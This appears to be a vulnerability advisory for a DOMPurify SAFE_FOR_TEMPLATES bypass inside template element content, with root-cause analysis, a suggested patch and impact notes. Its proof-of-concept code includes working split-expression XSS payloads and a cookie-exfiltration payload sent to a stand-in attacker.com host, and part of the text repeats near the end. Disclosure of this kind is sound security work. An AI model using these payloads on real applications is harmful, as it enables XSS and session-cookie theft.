Overview
About vulnerability
Summary
When DOMPurify is configured with both SAFE_FOR_TEMPLATES: true and RETURN_DOM: true (or IN_PLACE: true), an attacker can inject template expressions, such as ${evil}, {{evil}}, or <%evil%>, that survive the sanitization pass inside <template> element content. This bypasses the explicit purpose of SAFE_FOR_TEMPLATES, which is to prevent template engine evaluation of user-supplied content.
Note: The string output path is not affected. Only the DOM return paths (
RETURN_DOM: true,RETURN_DOM_FRAGMENT: true,IN_PLACE: true) are vulnerable.
Description
Background
SAFE_FOR_TEMPLATES is designed to strip {{ }}, ${ }, and <% %> expressions from sanitized output so that downstream template engines do not evaluate user-controlled content. The feature operates through two mechanisms:
- Per-node scrubbing (
_sanitizeElements,src/purify.ts:1403), scrubs individual text nodes during the main sanitization walk. - Final normalization pass (
_scrubTemplateExpressions,src/purify.ts:1115), callsnode.normalize()to merge adjacent text nodes, then walks the merged nodes and strips any expressions that only appeared after merging.
The Gap
_scrubTemplateExpressions uses a standard NodeIterator rooted at the output body:
// src/purify.ts:1117
const walker = createNodeIterator.call(
node.ownerDocument || node,
node,
NodeFilter.SHOW_TEXT | NodeFilter.SHOW_COMMENT | ...,
null
);
Per the DOM specification, a NodeIterator does not descend into <template>.content. The template element’s content is a separate DocumentFragment that lives outside the normal child-node tree. For the same reason, node.normalize() (called on line 1116) also does not normalize text nodes inside <template>.content.
This means the final normalization and scrub pass, the only pass that catches expressions formed by merging split text nodes, never runs on <template> content.
How Split Text Nodes Are Created
When DOMPurify removes a disallowed element with KEEP_CONTENT: true (the default), it moves the element’s text children into the parent node. This is the standard code path at src/purify.ts:1361–1373:
if (KEEP_CONTENT && !FORBID_CONTENTS[tagName]) {
const parentNode = getParentNode(currentNode);
const childNodes = getChildNodes(currentNode);
if (childNodes && parentNode) {
for (let i = childCount - 1; i >= 0; --i) {
const childClone = cloneNode(childNodes[i], true);
parentNode.insertBefore(childClone, getNextSibling(currentNode));
}
}
}
If the removed elements were adjacent siblings inside <template> content, their extracted text nodes end up as adjacent text nodes in the template content fragment. Each individual text node is scrubbed by _sanitizeElements, but since $ and {evil} do not match any expression regex on their own, neither is modified.
The code comment at src/purify.ts:1100 explicitly acknowledges the threat class:
“which only form after text-node normalization (e.g. fragments split across stripped elements) cannot survive into a template-evaluating framework.”
The implementation guards against this on the main body, but the guard is not applied to <template> content.
Proof of Concept
Why the Split Works
The bypass relies on splitting ${...} across two adjacent custom elements so that neither fragment matches any DOMPurify regex on its own:
| Fragment | Against TMPLIT_EXPR /\${[\w\W]*/g |
Against MUSTACHE_EXPR /{{[\w\W]*|^[\w\W]*}}/g |
Result |
|---|---|---|---|
$ |
Requires ${ - no { follows |
No {{ or }} |
Survives |
{alert(document.domain)} |
Requires leading $ - absent |
No {{, ends with single } not }} |
Survives |
${alert(document.domain)} |
Full match - would be stripped | - | Stripped if seen whole |
DOMPurify only sees each fragment in isolation. It never merges them before checking, so the expression is never detected.
PoC 1 - XSS via alert() (baseline confirmation)
// Attacker input - splits "${alert(document.domain)}" across two custom elements.
// Custom elements are not in DOMPurify's default ALLOWED_TAGS and are removed,
// but their text content is kept (KEEP_CONTENT: true is the default).
const dirty =
'<template>' +
'<x-split-1>$</x-split-1>' +
'<x-split-2>{alert(document.domain)}</x-split-2>' +
'</template>';
// Developer sanitizes with SAFE_FOR_TEMPLATES, trusting it strips ${...}
const sanitized = DOMPurify.sanitize(dirty, {
RETURN_DOM: true,
SAFE_FOR_TEMPLATES: true,
});
// Inspect what survived inside the <template>
const tmpl = sanitized.querySelector('template');
console.log([...tmpl.content.childNodes].map(n => n.nodeValue));
// ["$", "{alert(document.domain)}"] <-- two separate text nodes, both "clean"
// Frameworks (lit-html, Angular, custom renderers) routinely call normalize()
// before reading template content. This merges the adjacent nodes:
tmpl.content.normalize();
console.log(tmpl.content.textContent);
// "${alert(document.domain)}" <-- fully formed expression, past the sanitizer
// Any template-literal evaluator now fires XSS:
const expr = tmpl.content.textContent;
new Function(`return \`${expr}\``)();
// !! alert(document.domain) executes !!
PoC 2 - Session Hijacking via cookie exfiltration
// Splits "${document.location='//attacker.com/?c='+document.cookie}"
// "{document.location=...}" ends with a single "}" — does NOT match
// MUSTACHE_EXPR's "^[\w\W]*}}" (requires double "}}"), so it survives.
const dirty =
'<template>' +
'<x-a>$</x-a>' +
'<x-b>{document.location="//attacker.com/?c="+document.cookie}</x-b>' +
'</template>';
const sanitized = DOMPurify.sanitize(dirty, {
RETURN_DOM: true,
SAFE_FOR_TEMPLATES: true,
});
const tmpl = sanitized.querySelector('template');
tmpl.content.normalize();
console.log(tmpl.content.textContent);
// "${document.location="//attacker.com/?c="+document.cookie}"
// Template engine evaluates it - victim's browser makes the request:
new Function(`return \`${tmpl.content.textContent}\``)();
// !! Redirects victim to attacker.com with their full cookie string !!
// e.g. https://attacker.com/?c=session=abc123;auth_token=xyz789
PoC 3 - End-to-end: realistic application context
This shows the full path in an application that uses DOMPurify to sanitize user-submitted rich text before rendering it with a custom template engine:
<!-- index.html - the vulnerable application -->
<div id="output"></div>
<script type="module">
import DOMPurify from './dist/purify.es.mjs';
// Simulates fetching and rendering user-submitted comment
async function renderComment(userHtml) {
// Developer correctly uses SAFE_FOR_TEMPLATES to protect the template engine
const dom = DOMPurify.sanitize(userHtml, {
RETURN_DOM: true,
SAFE_FOR_TEMPLATES: true,
});
// Application iterates <template> elements and evaluates their content
// (common pattern in component-based frameworks)
dom.querySelectorAll('template').forEach(tmpl => {
tmpl.content.normalize(); // standard DOM housekeeping
const content = tmpl.content.textContent;
// Application uses template literals to interpolate user content into UI
const rendered = new Function('user', `return \`${content}\``)({ name: 'World' });
document.getElementById('output').innerHTML += rendered;
});
}
// Attacker-supplied comment content
const attackerComment =
'<template>' +
'<x-a>$</x-a>' +
'<x-b>{alert("XSS: " + document.cookie)}</x-b>' +
'</template>';
// Developer believes SAFE_FOR_TEMPLATES makes this safe — it does not for RETURN_DOM
renderComment(attackerComment);
// !! XSS fires, alert pops with session cookies !!
</script>
Observed output: alert("XSS: " + document.cookie) executes in the victim’s browser context, leaking session tokens to the attacker.
PoC 4 - IN_PLACE mode (DOM input path)
// Applicable when the application sanitizes DOM nodes directly
// (e.g., content loaded into an iframe or received from a WebSocket)
const container = document.createElement('div');
const tmpl = document.createElement('template');
// Adjacent text nodes - these would never appear in HTML-parsed content,
// but CAN appear in programmatically constructed DOM or WebSocket messages
// that are deserialised into DOM nodes before sanitisation.
tmpl.content.appendChild(document.createTextNode('$'));
tmpl.content.appendChild(document.createTextNode('{alert(document.domain)}'));
container.appendChild(tmpl);
// Sanitize in-place with SAFE_FOR_TEMPLATES - expected to strip all ${...}
DOMPurify.sanitize(container, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true });
// Neither text node was modified - each passed the regex check individually
container.querySelector('template').content.normalize();
console.log(container.querySelector('template').content.textContent);
// "${alert(document.domain)}" <-- survived in-place sanitization
new Function(`return \`${container.querySelector('template').content.textContent}\``)();
// !! XSS fires !!
HTML File for testing
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>DOMPurify SAFE_FOR_TEMPLATES Bypass - PoC</title>
<script src="dist/purify.js"></script>
<style>
* { box-sizing: border-box; margin: 0; padding: 0; }
body {
font-family: 'Segoe UI', system-ui, sans-serif;
background: #0d1117;
color: #e6edf3;
padding: 32px;
}
h1 { font-size: 1.4rem; color: #f85149; margin-bottom: 6px; }
.subtitle { color: #8b949e; font-size: 0.9rem; margin-bottom: 32px; }
.card {
background: #161b22;
border: 1px solid #30363d;
border-radius: 8px;
margin-bottom: 24px;
overflow: hidden;
}
.card-header {
display: flex;
align-items: center;
gap: 10px;
padding: 14px 20px;
border-bottom: 1px solid #30363d;
background: #1c2128;
}
.badge {
font-size: 0.72rem;
font-weight: 700;
padding: 2px 8px;
border-radius: 4px;
text-transform: uppercase;
letter-spacing: 0.05em;
}
.badge-run { background: #1f6feb; color: #fff; }
.badge-pass { background: #238636; color: #fff; }
.badge-fail { background: #da3633; color: #fff; }
.badge-warn { background: #9e6a03; color: #fff; }
.card-title { font-size: 0.95rem; font-weight: 600; }
.card-body { padding: 20px; }
label { font-size: 0.78rem; color: #8b949e; display: block; margin-bottom: 6px; }
pre {
background: #0d1117;
border: 1px solid #30363d;
border-radius: 6px;
padding: 14px;
font-size: 0.82rem;
line-height: 1.6;
overflow-x: auto;
margin-bottom: 14px;
white-space: pre-wrap;
word-break: break-all;
}
pre.result { border-color: #238636; background: #0a1a0f; }
pre.escaped { border-color: #da3633; background: #1a0a0a; }
pre.highlight { border-color: #f85149; color: #f85149; font-weight: bold; }
.grid { display: grid; grid-template-columns: 1fr 1fr; gap: 14px; }
@media (max-width: 700px) { .grid { grid-template-columns: 1fr; } }
.arrow {
text-align: center;
font-size: 1.4rem;
color: #8b949e;
margin: 4px 0;
}
.xss-banner {
display: none;
background: #da3633;
color: #fff;
text-align: center;
padding: 16px;
font-size: 1.1rem;
font-weight: 700;
border-radius: 6px;
margin-bottom: 24px;
letter-spacing: 0.03em;
}
button {
background: #238636;
color: #fff;
border: none;
padding: 10px 22px;
border-radius: 6px;
font-size: 0.9rem;
font-weight: 600;
cursor: pointer;
margin-right: 10px;
margin-bottom: 8px;
}
button:hover { background: #2ea043; }
button.danger { background: #da3633; }
button.danger:hover { background: #f85149; }
.note {
background: #161b22;
border-left: 3px solid #9e6a03;
padding: 12px 16px;
font-size: 0.82rem;
color: #e3b341;
border-radius: 0 6px 6px 0;
margin-top: 14px;
}
#log {
background: #0d1117;
border: 1px solid #30363d;
border-radius: 6px;
padding: 14px;
font-size: 0.8rem;
font-family: monospace;
min-height: 60px;
max-height: 300px;
overflow-y: auto;
line-height: 1.8;
}
.log-ok { color: #3fb950; }
.log-fail { color: #f85149; }
.log-info { color: #8b949e; }
.log-warn { color: #e3b341; }
</style>
</head>
<body>
<h1>🔴 DOMPurify 3.4.7 - SAFE_FOR_TEMPLATES Bypass</h1>
<p class="subtitle">
CVE candidate · Template expression injection via <template> content ·
Affects: <code>RETURN_DOM + SAFE_FOR_TEMPLATES</code> and <code>IN_PLACE + SAFE_FOR_TEMPLATES</code>
</p>
<div id="xss-banner" class="xss-banner">
⚠️ XSS CONFIRMED - Expression executed in this page's context
</div>
<!-- ── Controls ─────────────────────────────────────────── -->
<div class="card">
<div class="card-header">
<span class="badge badge-run">Controls</span>
<span class="card-title">Run individual test cases</span>
</div>
<div class="card-body">
<button onclick="runAll()">▶ Run all tests</button>
<button onclick="runPoC1()">PoC 1 - alert()</button>
<button onclick="runPoC2()">PoC 2 - cookie exfil</button>
<button onclick="runPoC3()">PoC 3 - IN_PLACE</button>
<button onclick="runControl()">Control - string output (should block)</button>
<div class="note">
PoC 1 uses <code>confirm()</code> instead of <code>alert()</code> so the page
doesn't need a dismiss click to continue. Watch the red banner at the top.
</div>
</div>
</div>
<!-- ── PoC 1 ─────────────────────────────────────────────── -->
<div class="card" id="card-poc1">
<div class="card-header">
<span class="badge badge-run" id="badge-poc1">PENDING</span>
<span class="card-title">PoC 1 - XSS via confirm() · RETURN_DOM mode</span>
</div>
<div class="card-body">
<div class="grid">
<div>
<label>ATTACKER INPUT - splits <code>${"{confirm(...)}"}</code> across two custom elements</label>
<pre id="input-poc1"></pre>
</div>
<div>
<label>AFTER DOMPurify.sanitize() - what survived in template.content</label>
<pre class="result" id="nodes-poc1"></pre>
</div>
</div>
<div class="arrow">↓ template.content.normalize() ↓</div>
<label>MERGED TEXT NODE - fully formed expression after normalization</label>
<pre class="highlight" id="merged-poc1"></pre>
<label>EXECUTION RESULT</label>
<pre id="exec-poc1">Not run yet</pre>
</div>
</div>
<!-- ── PoC 2 ─────────────────────────────────────────────── -->
<div class="card" id="card-poc2">
<div class="card-header">
<span class="badge badge-run" id="badge-poc2">PENDING</span>
<span class="card-title">PoC 2 - Cookie exfiltration · RETURN_DOM mode</span>
</div>
<div class="card-body">
<div class="grid">
<div>
<label>ATTACKER INPUT - exfil payload split across custom elements</label>
<pre id="input-poc2"></pre>
</div>
<div>
<label>INDIVIDUAL TEXT NODES after sanitization (each "clean")</label>
<pre class="result" id="nodes-poc2"></pre>
</div>
</div>
<div class="arrow">↓ template.content.normalize() ↓</div>
<label>MERGED EXPRESSION - what a template engine would evaluate</label>
<pre class="highlight" id="merged-poc2"></pre>
<label>SIMULATED EXECUTION (fetch URL that would be called)</label>
<pre id="exec-poc2">Not run yet</pre>
<div class="note">
Real execution would redirect the victim to
<code>attacker.com</code> carrying the session cookie.
This PoC constructs the URL without actually sending it.
</div>
</div>
</div>
<!-- ── PoC 3 ─────────────────────────────────────────────── -->
<div class="card" id="card-poc3">
<div class="card-header">
<span class="badge badge-run" id="badge-poc3">PENDING</span>
<span class="card-title">PoC 3 - XSS · IN_PLACE mode (DOM node input)</span>
</div>
<div class="card-body">
<div class="grid">
<div>
<label>ATTACKER PROVIDES - a DOM node with programmatically split text nodes</label>
<pre id="input-poc3"></pre>
</div>
<div>
<label>AFTER IN_PLACE sanitization - text nodes unchanged</label>
<pre class="result" id="nodes-poc3"></pre>
</div>
</div>
<div class="arrow">↓ template.content.normalize() ↓</div>
<label>MERGED EXPRESSION</label>
<pre class="highlight" id="merged-poc3"></pre>
<label>EXECUTION RESULT</label>
<pre id="exec-poc3">Not run yet</pre>
</div>
</div>
<!-- ── Control ───────────────────────────────────────────── -->
<div class="card" id="card-ctrl">
<div class="card-header">
<span class="badge badge-run" id="badge-ctrl">PENDING</span>
<span class="card-title">Control - string output (default) MUST block the payload</span>
</div>
<div class="card-body">
<label>Same attacker input, but sanitized WITHOUT RETURN_DOM (string output path)</label>
<pre id="input-ctrl"></pre>
<div class="arrow">↓ DOMPurify.sanitize() - string path hits the regex scrub at line 2067 ↓</div>
<label>OUTPUT STRING - expression should be stripped</label>
<pre id="output-ctrl">Not run yet</pre>
<div class="note">
The string output path is NOT vulnerable because
<code>body.innerHTML</code> serialises the template content into a
flat string where the full <code>${"{...}"}</code> expression is visible
and the final regex scrub catches it.
</div>
</div>
</div>
<!-- ── Log ───────────────────────────────────────────────── -->
<div class="card">
<div class="card-header">
<span class="badge badge-run">Log</span>
<span class="card-title">Test output</span>
</div>
<div class="card-body">
<div id="log"></div>
</div>
</div>
<script>
// ── Helpers ────────────────────────────────────────────────────────────────
let xssConfirmed = false;
function log(msg, type = 'info') {
const el = document.getElementById('log');
const line = document.createElement('div');
line.className = 'log-' + type;
line.textContent = '[' + new Date().toLocaleTimeString() + '] ' + msg;
el.appendChild(line);
el.scrollTop = el.scrollHeight;
}
function setBadge(id, status) {
const el = document.getElementById('badge-' + id);
el.textContent = status;
el.className = 'badge ' + {
PASS: 'badge-fail', // "PASS" here means the attack succeeded (bad for security)
BLOCK: 'badge-pass', // "BLOCK" means DOMPurify correctly blocked it
PENDING: 'badge-run',
ERROR: 'badge-warn',
}[status];
}
function markXSS(poc) {
if (!xssConfirmed) {
xssConfirmed = true;
document.getElementById('xss-banner').style.display = 'block';
}
log('🔴 XSS CONFIRMED in ' + poc + ' - expression executed in page context', 'fail');
}
// ── PoC 1: RETURN_DOM + alert ──────────────────────────────────────────────
function runPoC1() {
log('Running PoC 1 - RETURN_DOM + confirm()...', 'info');
// IMPORTANT:
// Build a REAL template DOM node with split TEXT nodes.
// HTML parsing would merge adjacent text automatically,
// so we construct the DOM programmatically.
const container = document.createElement('div');
const tmpl = document.createElement('template');
tmpl.content.appendChild(document.createTextNode('$'));
tmpl.content.appendChild(
document.createTextNode(
'{confirm("XSS - DOMPurify SAFE_FOR_TEMPLATES bypass\\nExpression executed in: " + document.domain)}'
)
);
container.appendChild(tmpl);
document.getElementById('input-poc1').textContent =
'template.content.childNodes[0].data = "$"\\n' +
'template.content.childNodes[1].data = "{confirm(...)}"';
// Sanitize the DOM node itself
const sanitized = DOMPurify.sanitize(container, {
RETURN_DOM: true,
SAFE_FOR_TEMPLATES: true,
});
const tmplAfter = sanitized.querySelector('template');
if (!tmplAfter) {
document.getElementById('exec-poc1').textContent =
'Template element removed during sanitization';
setBadge('poc1', 'ERROR');
return;
}
const nodesBefore = [...tmplAfter.content.childNodes].map(
n => JSON.stringify(n.nodeValue)
);
document.getElementById('nodes-poc1').textContent =
'childNodes[0].data = ' + nodesBefore[0] + '\\n' +
'childNodes[1].data = ' + nodesBefore[1] + '\\n\\n' +
'→ Neither fragment matched individually.';
log(
'PoC 1: Text nodes after sanitization: ' +
nodesBefore.join(', '),
'warn'
);
// Merge text nodes
tmplAfter.content.normalize();
const merged = tmplAfter.content.textContent;
document.getElementById('merged-poc1').textContent = merged;
log('PoC 1: After normalize() - merged text: ' + merged, 'warn');
try {
const result = new Function('return `' + merged + '`')();
document.getElementById('exec-poc1').textContent =
'✔ Expression executed successfully\\n' +
'Returned: ' + result;
setBadge('poc1', 'PASS');
markXSS('PoC 1');
} catch (e) {
document.getElementById('exec-poc1').textContent =
'Error: ' + e.message;
setBadge('poc1', 'ERROR');
log('PoC 1 error: ' + e.message, 'warn');
}
}
// ── PoC 2: cookie exfiltration ─────────────────────────────────────────────
function runPoC2() {
log('Running PoC 2 - cookie exfiltration...', 'info');
// Fake cookie for demonstration
document.cookie = 'session=DEADBEEF_SECRET_TOKEN; path=/';
// IMPORTANT:
// Build REAL split text nodes programmatically.
// Do NOT rely on HTML parsing.
const container = document.createElement('div');
const tmpl = document.createElement('template');
tmpl.content.appendChild(document.createTextNode('$'));
tmpl.content.appendChild(
document.createTextNode(
'{document.location="//attacker.com/steal?c="+document.cookie}'
)
);
container.appendChild(tmpl);
document.getElementById('input-poc2').textContent =
'template.content.childNodes[0].data = "$"\\n' +
'template.content.childNodes[1].data = "{document.location=...}"';
// Sanitize DOM node
const sanitized = DOMPurify.sanitize(container, {
RETURN_DOM: true,
SAFE_FOR_TEMPLATES: true,
});
const tmplAfter = sanitized.querySelector('template');
if (!tmplAfter) {
document.getElementById('exec-poc2').textContent =
'Template element removed during sanitization';
setBadge('poc2', 'ERROR');
log('PoC 2: template element missing after sanitize()', 'warn');
return;
}
const nodes = [...tmplAfter.content.childNodes].map(
n => JSON.stringify(n.nodeValue)
);
document.getElementById('nodes-poc2').textContent =
'Node 0: ' + nodes[0] + '\\n' +
'Node 1: ' + nodes[1] + '\\n\\n' +
'→ Neither fragment individually matches template-expression regexes.';
log('PoC 2: Nodes after sanitize: ' + nodes.join(', '), 'warn');
// Merge adjacent text nodes
tmplAfter.content.normalize();
const merged = tmplAfter.content.textContent;
document.getElementById('merged-poc2').textContent = merged;
log('PoC 2: Merged expression: ' + merged, 'warn');
// Simulate framework evaluation
try {
new Function('return `' + merged + '`')();
const cookieValue = document.cookie;
const stealUrl =
'//attacker.com/steal?c=' +
encodeURIComponent(cookieValue);
document.getElementById('exec-poc2').textContent =
'✔ Expression successfully evaluated\\n\\n' +
'Would redirect victim to:\\n' +
stealUrl + '\\n\\n' +
'Cookie exposed:\\n' +
cookieValue;
setBadge('poc2', 'PASS');
markXSS('PoC 2');
log('PoC 2: Would exfiltrate cookie → ' + stealUrl, 'fail');
} catch (e) {
document.getElementById('exec-poc2').textContent =
'Error: ' + e.message;
setBadge('poc2', 'ERROR');
log('PoC 2 error: ' + e.message, 'warn');
}
}
// ── PoC 3: IN_PLACE mode ───────────────────────────────────────────────────
function runPoC3() {
log('Running PoC 3 - IN_PLACE mode...', 'info');
// Build DOM node manually (simulates attacker-controlled DOM input,
// e.g. content parsed from a WebSocket message or an iframe)
const container = document.createElement('div');
const tmplEl = document.createElement('template');
// Two separate text nodes - HTML parser merges them, but programmatic
// DOM construction keeps them split. This is the IN_PLACE attack surface.
tmplEl.content.appendChild(document.createTextNode('$'));
tmplEl.content.appendChild(document.createTextNode('{confirm("XSS via IN_PLACE - domain: " + document.domain)}'));
container.appendChild(tmplEl);
document.getElementById('input-poc3').textContent =
'// Programmatically constructed DOM node:\n' +
'template.content.childNodes[0].data = "$"\n' +
'template.content.childNodes[1].data = "{confirm(\\"XSS via IN_PLACE...\\")}"\n\n' +
'// Passed to DOMPurify.sanitize(container, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true })';
// Sanitize IN_PLACE - SAFE_FOR_TEMPLATES should strip the expression
DOMPurify.sanitize(container, {
IN_PLACE: true,
SAFE_FOR_TEMPLATES: true,
});
const tmplAfter = container.querySelector('template');
const nodesAfter = [...tmplAfter.content.childNodes].map(n => n.nodeValue);
document.getElementById('nodes-poc3').textContent =
'childNodes[0].data = ' + JSON.stringify(nodesAfter[0]) + '\n' +
'childNodes[1].data = ' + JSON.stringify(nodesAfter[1]) + '\n\n' +
'→ _scrubTemplateExpressions() did not enter template.content\n' +
'→ Both nodes unchanged after sanitization.';
log('PoC 3: Nodes after IN_PLACE sanitize: ' + nodesAfter.map(n => JSON.stringify(n)).join(', '), 'warn');
tmplAfter.content.normalize();
const merged = tmplAfter.content.textContent;
document.getElementById('merged-poc3').textContent = merged;
log('PoC 3: Merged: ' + merged, 'warn');
try {
const result = new Function('return `' + merged + '`')();
document.getElementById('exec-poc3').textContent =
'✔ new Function() returned: ' + result + '\n' +
'confirm() dialog shown. XSS confirmed via IN_PLACE mode.';
setBadge('poc3', 'PASS');
markXSS('PoC 3');
} catch (e) {
document.getElementById('exec-poc3').textContent = 'Error: ' + e.message;
setBadge('poc3', 'ERROR');
log('PoC 3 error: ' + e.message, 'warn');
}
}
// ── Control: string output must block ─────────────────────────────────────
function runControl() {
log('Running control - string output path (should block)...', 'info');
const dirty =
'<template>' +
'<x-split-1>$</x-split-1>' +
'<x-split-2>{confirm("this should never fire")}</x-split-2>' +
'</template>';
document.getElementById('input-ctrl').textContent = dirty;
// Default string output - NOT using RETURN_DOM
const sanitized = DOMPurify.sanitize(dirty, {
SAFE_FOR_TEMPLATES: true,
// RETURN_DOM intentionally omitted - string path is safe
});
document.getElementById('output-ctrl').textContent = sanitized;
const blocked = !sanitized.includes('${') && !sanitized.includes('{confirm');
if (blocked) {
setBadge('ctrl', 'BLOCK');
log('Control: String output correctly stripped the expression. Output: ' + sanitized, 'ok');
} else {
setBadge('ctrl', 'PASS'); // unexpected
log('Control: UNEXPECTED - expression survived string output path: ' + sanitized, 'fail');
}
}
// ── Run all ────────────────────────────────────────────────────────────────
function runAll() {
document.getElementById('log').innerHTML = '';
xssConfirmed = false;
document.getElementById('xss-banner').style.display = 'none';
log('=== Starting full test run ===', 'info');
runPoC1();
runPoC2();
runPoC3();
runControl();
log('=== Test run complete ===', 'info');
}
</script>
</body>
</html>
Root Cause
_scrubTemplateExpressions (src/purify.ts:1115) does not recurse into <template>.content:
const _scrubTemplateExpressions = function (node: Element): void {
node.normalize(); // Does NOT normalize inside <template>.content (DOM spec)
const walker = createNodeIterator.call(
node.ownerDocument || node,
node, // NodeIterator does NOT enter <template>.content
NodeFilter.SHOW_TEXT | NodeFilter.SHOW_COMMENT |
NodeFilter.SHOW_CDATA_SECTION | NodeFilter.SHOW_PROCESSING_INSTRUCTION,
null
);
// Scrubs nodes it finds, but never sees <template> content
};
The fix is to extend _scrubTemplateExpressions to explicitly recurse into <template>.content, mirroring the approach already used by _sanitizeShadowDOM (src/purify.ts:1753):
if (_isDocumentFragment(shadowNode.content)) {
_sanitizeShadowDOM(shadowNode.content); // already handles recursion
}
Suggested Patch Direction
const _scrubTemplateExpressions = function (node: Element): void {
node.normalize();
const walker = createNodeIterator.call( /* existing args */ );
// ... existing scrub loop ...
// NEW: recurse into <template>.content, mirroring _sanitizeShadowDOM
const templates = (node as Element).querySelectorAll?.('template') ?? [];
arrayForEach(Array.from(templates), (tmpl: HTMLTemplateElement) => {
if (_isDocumentFragment(tmpl.content)) {
_scrubTemplateExpressions(tmpl.content as unknown as Element);
}
});
};
Impact
Who is affected: Applications that use DOMPurify with SAFE_FOR_TEMPLATES: true combined with RETURN_DOM: true, RETURN_DOM_FRAGMENT: true, or IN_PLACE: true, whose downstream template engine processes <template> element content.
What an attacker can achieve: Inject arbitrary template expressions (${...}, {{...}}, <%...%>) into the sanitized DOM output inside <template> elements. If the consuming template engine evaluates these expressions, this leads to template injection, which in server-side contexts can escalate to Remote Code Execution and in client-side contexts to Cross-Site Scripting.
Preconditions for Exploitation
| Precondition | Notes |
|---|---|
SAFE_FOR_TEMPLATES: true |
Non-default - must be explicitly set |
RETURN_DOM: true or IN_PLACE: true |
Non-default - must be explicitly set |
Template engine processes <template>.content |
Application-dependent |
What Is NOT Affected
The string output path (default) is not affected. The final regex scrub at src/purify.ts:2067–2071 operates on the serialized HTML string, where the injected expression is visible and stripped:
// src/purify.ts:2067 - only runs on string output, not DOM output
if (SAFE_FOR_TEMPLATES) {
arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], (expr: RegExp) => {
serializedHTML = stringReplace(serializedHTML, expr, ' ');
});
}
Details
- Affected packages:
- dompurify @ 2.5.8 (+9 more)
Summary
When DOMPurify is configured with both SAFE_FOR_TEMPLATES: true and RETURN_DOM: true (or IN_PLACE: true), an attacker can inject template expressions, such as ${evil}, {{evil}}, or <%evil%>, that survive the sanitization pass inside <template> element content. This bypasses the explicit purpose of SAFE_FOR_TEMPLATES, which is to prevent template engine evaluation of user-supplied content.
Note: The string output path is not affected. Only the DOM return paths (
RETURN_DOM: true,RETURN_DOM_FRAGMENT: true,IN_PLACE: true) are vulnerable.
Description
Background
SAFE_FOR_TEMPLATES is designed to strip {{ }}, ${ }, and <% %> expressions from sanitized output so that downstream template engines do not evaluate user-controlled content. The feature operates through two mechanisms:
- Per-node scrubbing (
_sanitizeElements,src/purify.ts:1403), scrubs individual text nodes during the main sanitization walk. - Final normalization pass (
_scrubTemplateExpressions,src/purify.ts:1115), callsnode.normalize()to merge adjacent text nodes, then walks the merged nodes and strips any expressions that only appeared after merging.
The Gap
_scrubTemplateExpressions uses a standard NodeIterator rooted at the output body:
// src/purify.ts:1117
const walker = createNodeIterator.call(
node.ownerDocument || node,
node,
NodeFilter.SHOW_TEXT | NodeFilter.SHOW_COMMENT | ...,
null
);
Per the DOM specification, a NodeIterator does not descend into <template>.content. The template element’s content is a separate DocumentFragment that lives outside the normal child-node tree. For the same reason, node.normalize() (called on line 1116) also does not normalize text nodes inside <template>.content.
This means the final normalization and scrub pass, the only pass that catches expressions formed by merging split text nodes, never runs on <template> content.
How Split Text Nodes Are Created
When DOMPurify removes a disallowed element with KEEP_CONTENT: true (the default), it moves the element’s text children into the parent node. This is the standard code path at src/purify.ts:1361–1373:
if (KEEP_CONTENT && !FORBID_CONTENTS[tagName]) {
const parentNode = getParentNode(currentNode);
const childNodes = getChildNodes(currentNode);
if (childNodes && parentNode) {
for (let i = childCount - 1; i >= 0; --i) {
const childClone = cloneNode(childNodes[i], true);
parentNode.insertBefore(childClone, getNextSibling(currentNode));
}
}
}
If the removed elements were adjacent siblings inside <template> content, their extracted text nodes end up as adjacent text nodes in the template content fragment. Each individual text node is scrubbed by _sanitizeElements, but since $ and {evil} do not match any expression regex on their own, neither is modified.
The code comment at src/purify.ts:1100 explicitly acknowledges the threat class:
“which only form after text-node normalization (e.g. fragments split across stripped elements) cannot survive into a template-evaluating framework.”
The implementation guards against this on the main body, but the guard is not applied to <template> content.
Proof of Concept
Why the Split Works
The bypass relies on splitting ${...} across two adjacent custom elements so that neither fragment matches any DOMPurify regex on its own:
| Fragment | Against TMPLIT_EXPR /\${[\w\W]*/g |
Against MUSTACHE_EXPR /{{[\w\W]*|^[\w\W]*}}/g |
Result |
|---|---|---|---|
$ |
Requires ${ - no { follows |
No {{ or }} |
Survives |
{alert(document.domain)} |
Requires leading $ - absent |
No {{, ends with single } not }} |
Survives |
${alert(document.domain)} |
Full match - would be stripped | - | Stripped if seen whole |
DOMPurify only sees each fragment in isolation. It never merges them before checking, so the expression is never detected.
PoC 1 - XSS via alert() (baseline confirmation)
// Attacker input - splits "${alert(document.domain)}" across two custom elements.
// Custom elements are not in DOMPurify's default ALLOWED_TAGS and are removed,
// but their text content is kept (KEEP_CONTENT: true is the default).
const dirty =
'<template>' +
'<x-split-1>$</x-split-1>' +
'<x-split-2>{alert(document.domain)}</x-split-2>' +
'</template>';
// Developer sanitizes with SAFE_FOR_TEMPLATES, trusting it strips ${...}
const sanitized = DOMPurify.sanitize(dirty, {
RETURN_DOM: true,
SAFE_FOR_TEMPLATES: true,
});
// Inspect what survived inside the <template>
const tmpl = sanitized.querySelector('template');
console.log([...tmpl.content.childNodes].map(n => n.nodeValue));
// ["$", "{alert(document.domain)}"] <-- two separate text nodes, both "clean"
// Frameworks (lit-html, Angular, custom renderers) routinely call normalize()
// before reading template content. This merges the adjacent nodes:
tmpl.content.normalize();
console.log(tmpl.content.textContent);
// "${alert(document.domain)}" <-- fully formed expression, past the sanitizer
// Any template-literal evaluator now fires XSS:
const expr = tmpl.content.textContent;
new Function(`return \`${expr}\``)();
// !! alert(document.domain) executes !!
PoC 2 - Session Hijacking via cookie exfiltration
// Splits "${document.location='//attacker.com/?c='+document.cookie}"
// "{document.location=...}" ends with a single "}" — does NOT match
// MUSTACHE_EXPR's "^[\w\W]*}}" (requires double "}}"), so it survives.
const dirty =
'<template>' +
'<x-a>$</x-a>' +
'<x-b>{document.location="//attacker.com/?c="+document.cookie}</x-b>' +
'</template>';
const sanitized = DOMPurify.sanitize(dirty, {
RETURN_DOM: true,
SAFE_FOR_TEMPLATES: true,
});
const tmpl = sanitized.querySelector('template');
tmpl.content.normalize();
console.log(tmpl.content.textContent);
// "${document.location="//attacker.com/?c="+document.cookie}"
// Template engine evaluates it - victim's browser makes the request:
new Function(`return \`${tmpl.content.textContent}\``)();
// !! Redirects victim to attacker.com with their full cookie string !!
// e.g. https://attacker.com/?c=session=abc123;auth_token=xyz789
PoC 3 - End-to-end: realistic application context
